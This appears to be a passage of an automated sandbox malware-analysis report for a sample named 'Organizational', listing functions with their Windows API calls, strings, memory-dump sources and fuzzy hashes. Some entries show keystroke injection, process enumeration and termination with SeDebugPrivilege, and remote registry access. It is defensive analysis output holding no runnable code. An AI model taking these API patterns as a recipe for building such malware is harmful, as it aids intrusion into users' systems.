API String ID: 634782764-0
Opcode ID: d4ab69e5ea063ccea58143f87edd6f0ff2c5abe52b202f069c47390e5bbed5b5
Instruction ID: 60e0665d1e4caf3023eb319564925564fe219ac0d17a0cf248444b2ec6d77c0b
Opcode Fuzzy Hash: d4ab69e5ea063ccea58143f87edd6f0ff2c5abe52b202f069c47390e5bbed5b5
Instruction Fuzzy Hash: B951A530A80208BFDB719B54CC8DBA97B65AB053A0F248517F618E61E1CF719951FB52

Function 00EF2F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00F2C638
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00F2C65A
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00F2C672
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00F2C690
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00F2C6B1
DestroyIcon.USER32(00000000), ref: 00F2C6C0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00F2C6DD
DestroyIcon.USER32(?), ref: 00F2C6EC

Part of subcall function 00F7AAD4: DeleteObject.GDI32(00000000), ref: 00F7AB0D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 149a7ec160c149548cd38547d49b99a58c28d5076fe5c778d1845b169721edb6
Instruction ID: 462d78b7156fc6cf10f32a42d1340a2c5bdd2a73d1614a71567773291d7fc508
Opcode Fuzzy Hash: 149a7ec160c149548cd38547d49b99a58c28d5076fe5c778d1845b169721edb6
Instruction Fuzzy Hash: BF514A71A10209AFDB20DF24DC45BBA7BB5EB48720F10451CFA46A7290DB71ED90EF90

Function 00F4A226 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4B52D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00F4B54D
Part of subcall function 00F4B52D: GetCurrentThreadId.KERNEL32 ref: 00F4B554
Part of subcall function 00F4B52D: AttachThreadInput.USER32(00000000,?,00F4A23B,?,00000001), ref: 00F4B55B

MapVirtualKeyW.USER32(00000025,00000000), ref: 00F4A246
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00F4A263
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00F4A266
MapVirtualKeyW.USER32(00000025,00000000), ref: 00F4A26F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00F4A28D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00F4A290
MapVirtualKeyW.USER32(00000025,00000000), ref: 00F4A299
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00F4A2B0
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00F4A2B3

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 86bfdead0dfeb3a365d7212a425d7ed2d7ef794085694a2a61c312b37316bdf4
Instruction ID: 76a4bf6fd3032195bea1b1e3cc563efe3a66aeaabe7aa3d087831769802162d9
Opcode Fuzzy Hash: 86bfdead0dfeb3a365d7212a425d7ed2d7ef794085694a2a61c312b37316bdf4
Instruction Fuzzy Hash: E511CEB1950618BEF6106B609C8EFBA7E2DEB4C760F900419F6406B0D1CEF25D50ABA0

Function 00F494D9 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00F4915A,00000B00,?,?), ref: 00F494E2
HeapAlloc.KERNEL32(00000000,?,00F4915A,00000B00,?,?), ref: 00F494E9
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00F4915A,00000B00,?,?), ref: 00F494FE
GetCurrentProcess.KERNEL32(?,00000000,?,00F4915A,00000B00,?,?), ref: 00F49506
DuplicateHandle.KERNEL32(00000000,?,00F4915A,00000B00,?,?), ref: 00F49509
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00F4915A,00000B00,?,?), ref: 00F49519
GetCurrentProcess.KERNEL32(00F4915A,00000000,?,00F4915A,00000B00,?,?), ref: 00F49521
DuplicateHandle.KERNEL32(00000000,?,00F4915A,00000B00,?,?), ref: 00F49524
CreateThread.KERNEL32(00000000,00000000,00F4954A,00000000,00000000,00000000), ref: 00F4953E

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 2c18018dcd26ce35a9f0bbe454746ebb8c032b70dc11b5d88c38f5838c67f9c7
Instruction ID: 39f53ae4a8be3efafa219cd55fa2583fd1c83a188086211c389188a1acef7e5a
Opcode Fuzzy Hash: 2c18018dcd26ce35a9f0bbe454746ebb8c032b70dc11b5d88c38f5838c67f9c7
Instruction Fuzzy Hash: 3A01CDB6240708BFE750AFA5DC8DFAB7BACEB89711F504411FA05DB1A1DA709804DB20

Function 00F6A20D Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00F6A265
NULL Pointer assignment, xrefs: 00F6A28E, 00F6A5B2

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: f436fe26217f7526830e5772419d7ce6d627d27a7118f38aa136390997e4148d
Instruction ID: 3e92958e01502eef30e39e386d15de49760e70a55cd455b6c821f152b245ed4b
Opcode Fuzzy Hash: f436fe26217f7526830e5772419d7ce6d627d27a7118f38aa136390997e4148d
Instruction Fuzzy Hash: ADC18E71E0021A9BDF10DFA8C885AAEB7B5FF48310F148469E906BB280E771DD45EF91

Function 00F697FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F69851
VariantInit.OLEAUT32(?), ref: 00F69922
VariantInit.OLEAUT32(?), ref: 00F69A23
VariantClear.OLEAUT32(?), ref: 00F69A2D
VariantClear.OLEAUT32(?), ref: 00F69A8A

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00F69A06
Null Object assignment in FOR..IN loop, xrefs: 00F698B2, 00F699E0, 00F69A98

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: d887c3eebf51251f063f33dfe20318c70458745b4404a88c703d7e211a3d8987
Instruction ID: c128d5ee3659cdaf65cb04ae5f2e643bb3292596a1e1bea19a4ab01a2efc4036
Opcode Fuzzy Hash: d887c3eebf51251f063f33dfe20318c70458745b4404a88c703d7e211a3d8987
Instruction Fuzzy Hash: 6591AC71E04219ABCF24CFA5C884FAEBBB8EF85720F10855DF515AB281D7B49944DBA0

Function 00F773A5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00F77449
SendMessageW.USER32(?,00001036,00000000,?), ref: 00F7745D
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00F77477
_wcscat.LIBCMT ref: 00F774D2
SendMessageW.USER32(?,00001057,00000000,?), ref: 00F774E9
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00F77517

Strings

SysListView32, xrefs: 00F7741B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: d6ecf10e3439bef8ac015bad08c4c6612a3c7153eaec37974cae9d0335964264
Instruction ID: b907debf66c10ea2d7fae9322c33e42778657dbda2c13f7298010a3ff68455f2
Opcode Fuzzy Hash: d6ecf10e3439bef8ac015bad08c4c6612a3c7153eaec37974cae9d0335964264
Instruction Fuzzy Hash: 0E41A471A14348AFDB21EF64CC85FEE77A8EF08360F10446AF948A7191D7719D84EB51

Function 00F6F01C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00F54148: CreateToolhelp32Snapshot.KERNEL32 ref: 00F5416D
Part of subcall function 00F54148: Process32FirstW.KERNEL32(00000000,?), ref: 00F5417B
Part of subcall function 00F54148: CloseHandle.KERNEL32(00000000), ref: 00F54245

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00F6F08D
GetLastError.KERNEL32 ref: 00F6F0A0
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00F6F0CF
TerminateProcess.KERNEL32(00000000,00000000), ref: 00F6F14C
GetLastError.KERNEL32(00000000), ref: 00F6F157
CloseHandle.KERNEL32(00000000), ref: 00F6F18C

Strings

SeDebugPrivilege, xrefs: 00F6F0AB

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 5743f38d2cdebd8277c75db6a2ad65f5555ce7b50b73b4e447838bbc64118fb5
Instruction ID: d9cb47025f5498c8518e1ee91106dbe71fb03076afcae3d7339269faae349aac
Opcode Fuzzy Hash: 5743f38d2cdebd8277c75db6a2ad65f5555ce7b50b73b4e447838bbc64118fb5
Instruction Fuzzy Hash: 5541D0712003019FD725EF24DCA5F7EB7A5AF84724F048419FA069F2D2CB79A808EB95

Function 00F534DD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00F5357C

Strings

info, xrefs: 00F5351D
stop, xrefs: 00F5354D
blank, xrefs: 00F534FE
warning, xrefs: 00F53565
question, xrefs: 00F53535

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 06acea9bb2ec7012a7d36f5c5e29cc2c6e22c82a6ab2b31ae6c32ae78f0a7dc8
Instruction ID: 0d8de0e1ce24be9261d72f4fab5208ebba1139a052b67a1eacbf391e457fab8a
Opcode Fuzzy Hash: 06acea9bb2ec7012a7d36f5c5e29cc2c6e22c82a6ab2b31ae6c32ae78f0a7dc8
Instruction Fuzzy Hash: AB11EB72A48347BEA7005A58DC92DAA779CDF063F1F64101EFF0066182F764AF4476A1

Function 00F547E8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00F54802
LoadStringW.USER32(00000000), ref: 00F54809
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00F5481F
LoadStringW.USER32(00000000), ref: 00F54826
_wprintf.LIBCMT ref: 00F5484C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00F5486A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00F54847

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: d84387334fed9fa10c8fe39571cc82701e6af152e4f8a87a161dc21131c51aca
Instruction ID: 27842b454a3d99582f058fa80dac859d8c72c363ad93a4012a0f9e877f31c16c
Opcode Fuzzy Hash: d84387334fed9fa10c8fe39571cc82701e6af152e4f8a87a161dc21131c51aca
Instruction Fuzzy Hash: E90162F294030C7FE791A7A09D89EF6736CEB08301F800595BB49E2041EA74AE889B75

Function 00F7DB04 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF29E2: GetWindowLongW.USER32(?,000000EB), ref: 00EF29F3

GetSystemMetrics.USER32(0000000F), ref: 00F7DB42
GetSystemMetrics.USER32(0000000F), ref: 00F7DB62
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00F7DD9D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00F7DDBB
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00F7DDDC
ShowWindow.USER32(00000003,00000000), ref: 00F7DDFB
InvalidateRect.USER32(?,00000000,00000001), ref: 00F7DE20
DefDlgProcW.USER32(?,00000005,?,?), ref: 00F7DE43

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: d020839b6f36141f4583b9bb84318ed3e16f333913e8bcddf819317b733cdfe1
Instruction ID: c31f7020cdf622ab9cfa5aaadc3e7dc4ca1623a99b475089e01798d01d275253
Opcode Fuzzy Hash: d020839b6f36141f4583b9bb84318ed3e16f333913e8bcddf819317b733cdfe1
Instruction Fuzzy Hash: 42B18831A00219ABDF15CF69C985BBD7BB1BF44710F48C06AEC489E295D770A950EBA1

Function 00F70371 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

Part of subcall function 00F7147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F7040D,?,?), ref: 00F71491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F7044E

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 7237bdb2ff49e8820d56b53fe70524e91cac615766db98403d162f6547406d6b
Instruction ID: 5324aaf3a18397b8584fbbb8dc0aa0032c58389e9c34125059f504cc2d5be706
Opcode Fuzzy Hash: 7237bdb2ff49e8820d56b53fe70524e91cac615766db98403d162f6547406d6b
Instruction Fuzzy Hash: 81A17971204205DFCB10EF24CC91F6EBBE5AF84314F04891DF99A972A2DB35E945EB42

Function 00EF2E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00F2C508,00000004,00000000,00000000,00000000), ref: 00EF2E9F
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00F2C508,00000004,00000000,00000000,00000000,000000FF), ref: 00EF2EE7
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00F2C508,00000004,00000000,00000000,00000000), ref: 00F2C55B
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00F2C508,00000004,00000000,00000000,00000000), ref: 00F2C5C7

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 904e7d9373c4c29c771a9893b044a6f3afc12edcb5ce408bbd2b27efd96e14bc
Instruction ID: 3d1f07b403ea530a1780378ca5fbf93258c7c1b1a60ca5050389aa5f9993024a
Opcode Fuzzy Hash: 904e7d9373c4c29c771a9893b044a6f3afc12edcb5ce408bbd2b27efd96e14bc
Instruction Fuzzy Hash: B441283160468C9AC7368B28DC887BE7B92BB85314F78A40EE747675A0CB75F840EB51

Function 00F57681 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00F57698

Part of subcall function 00F10FE6: std::exception::exception.LIBCMT ref: 00F1101C
Part of subcall function 00F10FE6: __CxxThrowException@8.LIBCMT ref: 00F11031

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00F576CF
EnterCriticalSection.KERNEL32(?), ref: 00F576EB
_memmove.LIBCMT ref: 00F57739
_memmove.LIBCMT ref: 00F57756
LeaveCriticalSection.KERNEL32(?), ref: 00F57765
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00F5777A
InterlockedExchange.KERNEL32(?,000001F6), ref: 00F57799

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: dfb4d10943dc6f26778c1a3cab89fe1aad298bce51c073624a8432d9b25db828
Instruction ID: f4a9ffa7ff836dad0f2a8aa99080c23f30e78edd33bca92dc5704fe590b122f9
Opcode Fuzzy Hash: dfb4d10943dc6f26778c1a3cab89fe1aad298bce51c073624a8432d9b25db828
Instruction Fuzzy Hash: 1B31B271904208EBCB50EF54EC85EAEB7B8FF49310F1440A5FE04AB246DB749E54EBA0

Function 00F767F8 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00F76810
GetDC.USER32(00000000), ref: 00F76818
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00F76823
ReleaseDC.USER32(00000000,00000000), ref: 00F7682F
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00F7686B
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00F7687C
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00F7964F,?,?,000000FF,00000000,?,000000FF,?), ref: 00F768B6
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00F768D6

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 5fa5c0902ac91b23bd8f2350d1ce6c6cd805efe5175fe2cee525e5fceff9f165
Instruction ID: f07ec3624ff58dd5dd13be77879c7fac2554ac184038a6c2a96a10b01b6d8592
Opcode Fuzzy Hash: 5fa5c0902ac91b23bd8f2350d1ce6c6cd805efe5175fe2cee525e5fceff9f165
Instruction Fuzzy Hash: FE318B72201614BFEB108F10CC8AFFA3BA9EF49761F044065FE08EA291DB759855DBB5

Function 00F4C748 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00F4C75D
_memcmp.LIBCMT ref: 00F4C77F
_memcmp.LIBCMT ref: 00F4C797
_memcmp.LIBCMT ref: 00F4C7AA
_memcmp.LIBCMT ref: 00F4C7C4
_memcmp.LIBCMT ref: 00F4C7D7
_memcmp.LIBCMT ref: 00F4C7EF
_memcmp.LIBCMT ref: 00F4C80A

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: e3f290ec29582d80ff5ea5feeba385d259e67d52cad46f888fdbba9d2a54f212
Instruction ID: bb42de508c2b8ce3382c0bbb9a2d06b0edb2ab54cbffb23c88e32af1d5935bd0
